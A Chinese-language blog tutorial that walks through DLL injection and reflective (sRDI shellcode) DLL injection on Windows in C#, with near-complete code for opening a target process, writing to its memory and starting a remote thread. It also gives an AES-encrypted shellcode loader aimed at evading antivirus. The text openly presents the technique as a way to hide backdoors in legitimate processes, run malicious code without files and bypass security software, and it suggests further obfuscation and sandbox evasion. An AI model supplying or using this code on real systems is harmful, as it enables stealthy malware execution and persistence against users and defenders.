使用.NET实现DLL注入技术

进程注入可以在一个实时进程中插入或注入一段自定义代码。在一个进程中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。 因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

0x00 进程注入是什么

进程注入可以在一个实时进程中插入或注入一段自定义代码。在一个进程中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。 因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

#0x01 进程注入能做什么

1.恶意文件不落地,直接将恶意代码注入到正常进程当中。

2.作为后门驻留在正常进程中,规避杀毒软件,迷惑权限拥有者,隐藏后门。

3.等等

0x02 如何进程注入

进程注入一般地有两种实现方法,一种是DLL注入,另一种是DLL反射型注入。

0x03 DLL注入

DLL注入是一种很经典的技术,原理也比较简单。通过编写代码,可以将恶意的DLL文件注入到普通进程当中。

首先要介绍几个相关的函数。经典的DLL注入流程一般如下:

1
2
3
4
5
6
OpenProcess() //获取对象句柄
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA") //获取DLL内存地址
VirtualAllocEx() //分配内存地址
WriteProcessMemory() //写入内存
CreateRemoteThread() //创建远程线程
CloseHandle() //关闭对象句柄

函数介绍

GetProcAddress函数

该函数的作用是从指定的动态链接库(DLL)检索导出的函数或变量的地址。

参数

1
2
3
4
5
hModule
包含函数或变量的DLL模块的句柄。

lpProcName
函数或变量名称,或函数的序数值。

返回值

1
2
3
如果函数成功,则返回值是导出的函数或变量的地址。

如果函数失败,则返回值为NULL。

OpenProcess函数

该函数的作用是打开现有的本地进程对象。

参数

1
2
3
4
5
6
7
8
9
dwDesiredAccess
对过程对象的访问。对照该过程的安全描述符检查此访问权限。此参数可以是一个或多个 进程访问权限。如果调用者已启用SeDebugPrivilege特权,则无论安全描述符的内容如何,都将授予请求的访问权限。

bInheritHandle
如果此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程将不会继承此句柄。

dwProcessId
要打开的本地进程的标识符。
如果指定的进程是系统进程(0x00000000),该函数将失败,并且最后的错误代码是ERROR_INVALID_PARAMETER。如果指定的进程是Idle进程或CSRSS进程之一,则此函数将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。

返回值

1
2
3
如果函数成功,则返回值是指定进程的打开句柄。

如果函数失败,则返回值为NULL。

VirtualAllocEx函数

该函数的作用是在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。也就是分配内存。

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hProcess
进程的句柄。该函数在此进程的虚拟地址空间内分配内存。
句柄必须具有PROCESS_VM_OPERATION访问权限。有关更多信息,请参见 过程安全性和访问权限。

lpAddress
该指针为要分配的页面区域指定所需的起始地址。
如果要保留内存,则该函数会将地址四舍五入到分配粒度的最接近倍数。
如果提交的是已保留的内存,则该函数会将此地址四舍五入到最接近的页面边界。要确定页面的大小和主机上的分配粒度,请使用 GetSystemInfo函数。
如果lpAddress为NULL,则该函数确定将区域分配到的位置。
如果此地址位于尚未通过调用InitializeEnclave初始化的安全区内,则VirtualAllocEx会在该地址为安全区分配一个零页。该页面必须先前未提交,并且不会使用英特尔软件保护扩展编程模型的EEXTEND指令进行测量。
如果地址在您初始化的安全区内,则分配操作将失败,并出现ERROR_INVALID_ADDRESS错误。

dwSize
要分配的内存区域的大小,以字节为单位。
如果lpAddress为NULL,则该函数 会将dwSize向上舍入到下一个页面边界。
如果lpAddress不为NULL,则该函数分配从lpAddress到 lpAddress + dwSize范围内包含一个或多个字节的所有页面。例如,这意味着跨越页面边界的2字节范围会导致函数分配两个页面。

flAllocationType
内存分配的类型。

flProtect
对要分配的页面区域的内存保护。

返回值

1
2
3
如果函数成功,则返回值是页面分配区域的基地址。

如果函数失败,则返回值为NULL。

WriteProcessMemory函数

这个函数的作用是在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hProcess
要修改的过程存储器的句柄。句柄必须具有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问。

lpBaseAddress
指向指定过程的基地址的指针,数据将写入该过程中。在进行数据传输之前,系统会验证基址和指定大小的内存中的所有数据是否可访问以进行写访问,如果无法访问,则该功能将失败。

lpBuffer
指向缓冲区的指针,该缓冲区包含要在指定进程的地址空间中写入的数据。

nSize
要写入指定进程的字节数。

lpNumberOfBytesWritten
指向变量的指针,该变量接收传输到指定进程中的字节数。此参数是可选的。如果lpNumberOfBytesWritten为NULL,则忽略该参数。

返回值

1
2
3
如果函数成功,则返回值为非零。

如果函数失败,则返回值为0。

CreateRemoteThread函数

创建一个在另一个进程的虚拟地址空间中运行的线程。

参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
hProcess
要在其中创建线程的进程的句柄。该句柄必须具有PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,并且在某些平台上没有这些权限可能会失败。有关更多信息,请参见 过程安全性和访问权限。

lpThreadAttributes
指向SECURITY_ATTRIBUTES结构的指针,该 结构为新线程指定安全描述符,并确定子进程是否可以继承返回的句柄。如果lpThreadAttributes为NULL,则线程获取默认的安全描述符,并且该句柄无法继承。线程的默认安全描述符中的访问控制列表(ACL)来自创建者的主要令牌。
Windows XP: 线程的默认安全描述符中的ACL来自创建者的主令牌或模拟令牌。对于带有SP2的Windows XP和Windows Server 2003,此行为已更改。

dwStackSize
堆栈的初始大小,以字节为单位。系统将此值舍入到最接近的页面。如果此参数为0(零),则新线程将使用可执行文件的默认大小。有关更多信息,请参见 线程堆栈大小。

lpStartAddress
指向由线程执行的,类型为LPTHREAD_START_ROUTINE的应用程序定义的函数的指针,该指针表示远程进程中线程的起始地址。该功能必须存在于远程进程中。

lpParameter
指向要传递给线程函数的变量的指针。

dwCreationFlags
控制线程创建的标志。

lpThreadId
指向接收线程标识符的变量的指针。
如果此参数为NULL,则不返回线程标识符。

返回值

1
2
3
如果函数成功,则返回值是新线程的句柄。

如果函数失败,则返回值为NULL。

然后我们来看一下怎么使用.NET去实现它。

首先,要用到上面的函数,我们就要先声明API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

// privileges
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;

// used for memory allocation
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;

声明后,我们就可以直接使用这些函数。

获取进程ID

1
Process targetProcess = Process.GetProcessesByName("notepad")[0];

获取句柄

1
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

获取DLL的地址

1
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

分配内存地址

1
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

写入内存

1
WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

创建远程线程

1
CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);

结果观察

使用process hacker或者process explorer观察,我们可以看到执行dll注入的效果。注入notepad进程后,会在其进程下执行一个rundll32,并最终成功执行dll里面的函数,触发弹出计算器。

在实战过程中,我们可以通过这种方法将DLL注入到正常文件中。需要注意的是,使用的DLL需要在DllMain中定义你的操作。

0x04 反射型DLL注入

对于常规型的DLL注入来说,有着非常大的缺陷,最明显的是它需要LoadLibrary对DLL文件进行加载,这无疑增加了文件的体积,便利性也大大降低。因此有了一种新的(误)DLL注入技术–反射型DLL注入。

与DLL注入的差别

说到反射型DLL注入,肯定要理解他们的差别在哪里。

反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。

反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。

使用shellcode进行反射DLL注入

那有没有更简便的方法呢?回答是有。那就是sRDI,使用Shellcode进行反射DLL注入。sRDI在可以将任意DLL转换成无依赖的shellcode,使用shellcode注入技术便可以执行DLL中的功能,因为ReflectiveLoader在shellcode中实现,无需在你在DLL中实现该代码。

烦人的步骤sRDI已经帮我们解决掉了,那么我们很快就可以利用该技术进行反射DLL注入。

将dll文件转换成shellcode

1
python ConvertToShellcode.py calc.dll

执行完后将会返回一个同名bin文件

将二进制转换成十六进制(0x)

1
hexdump -v -e '1/1 "0x%02x,"' calc.bin | sed 's/.$//' > calc.txt

这将会输出很长的十六进制到calc.txt

跟DLL注入一样,直接写入内存就可以完成DLL的注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void ReflectiveDLLInject(int targetId, byte[] shellcode)
{
try
{
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
IntPtr lpThreadId = IntPtr.Zero;


IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
{
Console.WriteLine($"[+] Shellcode written in the remote process.");
CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
}
else
{
Console.WriteLine($"[+] Failed to inject shellcode.");
}

}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}

}

0x05 反射型DLL注入与免杀联动

回顾文章免杀的一些思路与小结,我们只需要简单改一下代码便可以实现一些免杀效果。

使用aes加密保证shellcode唯一性

首先使用aes加密函数加密shellcode,在DLL注入时再解密执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/// <summary>
/// 字串解密(非對稱式)
/// </summary>
/// <param name="Source">解密前字串</param>
/// <param name="CryptoKey">解密金鑰</param>
/// <returns>解密後字串</returns>
public static string aesDecryptBase64(string SourceStr, string CryptoKey)
{
string decrypt = "";
byte[] shellcode = { };
try
{
AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
SHA256CryptoServiceProvider sha256 = new SHA256CryptoServiceProvider();
byte[] key = sha256.ComputeHash(Encoding.UTF8.GetBytes(CryptoKey));
byte[] iv = md5.ComputeHash(Encoding.UTF8.GetBytes(CryptoKey));
aes.Key = key;
aes.IV = iv;

byte[] dataByteArray = Convert.FromBase64String(SourceStr);
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(dataByteArray, 0, dataByteArray.Length);
cs.FlushFinalBlock();
decrypt = Encoding.UTF8.GetString(ms.ToArray());
}
//Console.WriteLine(decrypt);

}


}
catch (Exception e)
{
return null;
}
return decrypt;
}

main函数中调用解密函数和key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static void Main(string[] args)
{
//key可以作为参数传入
string key = "thisk3223eyfasdf";
string targetProccess = "notepad";
string aes = "SwRkQ4LNUX1zCs/FTskQ0M0NKUxbkyxOMX1......";

string aseresult = aesDecryptBase64(aes, key);

string value = aseresult.Replace("0x", string.Empty);
value = value.Replace(",", string.Empty);

var inputByteArray = new byte[value.Length / 2];
for (var x = 0; x < inputByteArray.Length; x++)
{
var i = Convert.ToInt32(value.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;

}

byte[] buffer = inputByteArray;



ReflectiveDLL reflect = new ReflectiveDLL();
int targetProccessId = 0;
targetProccessId = reflect.SearchForTargetID(targetProccess);


ReflectiveDLLInject(targetProccessId, buffer);

}

当然,也可以像免杀那篇文章说的那样,做分离免杀(远程加载txt,DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入)、分段混淆shellcode、沙箱绕过,这样便可以绕过些许杀软进行反射DLL注入。

Author: rootrain
Link: https://rootrain.me/2020/02/29/使用.NET实现DLL注入技术/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.